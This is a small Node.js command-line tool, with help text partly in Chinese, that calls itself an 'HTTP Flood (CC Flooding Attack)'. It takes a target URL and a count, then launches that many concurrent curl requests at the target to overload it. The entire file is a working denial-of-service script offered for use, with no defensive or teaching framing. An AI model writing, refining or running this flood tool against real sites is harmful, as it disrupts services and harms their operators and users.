#!/usr/bin/env node

const readline = require('readline');
const { spawn } = require('child_process');

const rl = readline.createInterface({
  input: process.stdin,
  output: process.stdout
});

function showHelp() {
  console.log(`Usage: node ${__filename} [options] <target_url> <num_requests>`);
  console.log('Options:');
  console.log('  -h, --help     Display this help message');
  console.log('  中文: <target_url> 是目标URL， <num_requests> 是要发送的HTTP请求数量。');
  process.exit(0);
}

if (process.argv.includes('-h') || process.argv.includes('--help')) {
  showHelp();
}

const targetUrl = process.argv[2];
const numRequests = parseInt(process.argv[3]);

if (!targetUrl || isNaN(numRequests)) {
  console.error('Usage: node', __filename, '<target_url> <num_requests>');
  process.exit(1);
}

console.log(`Starting HTTP Flood attack on ${targetUrl}...`);

for (let i = 0; i < numRequests; i++) {
  const curl = spawn('curl', ['-s', '-o', '/dev/null', targetUrl]);
  
  curl.on('error', (err) => {
    console.error('Failed to start curl process:', err);
  });
  
  curl.on('exit', (code, signal) => {
    if (code !== 0) {
      console.error(`Curl process exited with code ${code}`);
    }
  });
}

console.log('HTTP Flood (CC Flooding Attack) attack completed.');